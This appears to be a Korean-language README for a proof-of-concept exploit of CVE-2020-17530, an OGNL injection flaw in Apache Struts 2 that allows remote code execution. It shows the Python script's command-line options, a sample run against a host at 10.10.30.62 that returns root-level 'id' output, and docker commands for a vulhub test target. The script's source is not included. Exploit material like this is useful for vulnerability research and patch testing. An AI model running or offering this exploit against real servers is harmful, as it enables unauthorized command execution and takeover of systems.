
CVE-2020-17530에 대한 개념 증명 익스플로잇으로, OGNL 주입을 통한 Apache Struts 2의 원격 코드 실행 취약점입니다. 취약한 Struts 인스턴스를 대상으로 하는 Python 스크립트를 포함합니다.
CVE-2020-17530에 대한 간단한 POC입니다. Apache Struts 버전 2.0.0 ~ 2.5.25에서 태그 속성의 원시 사용자 입력에 대해 강제로 OGNL(Object Graph Navigational Language) 평가를 수행하면 원격 코드 실행(RCE)이 발생할 수 있습니다.
$ python CVE-2020-17530.py --help
usage: CVE-2020-17530.py [-h] [-c COMMAND] [-n NAME] [-p PORT] [-t TARGET] [-u URI]
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
command
-n NAME, --name NAME form data name
-p PORT, --port PORT port
-t TARGET, --target TARGET
target
-u URI, --uri URI uri
$ python CVE-2020-17530.py --target 10.10.30.62 --port 8080 --uri "/index.action" --command id
uid=0(root) gid=0(root) groups=0(root)
$ docker pull vulhub/struts2:2.5.25
$ docker run -d -p 8080:8080 vulhub/struts2:2.5.25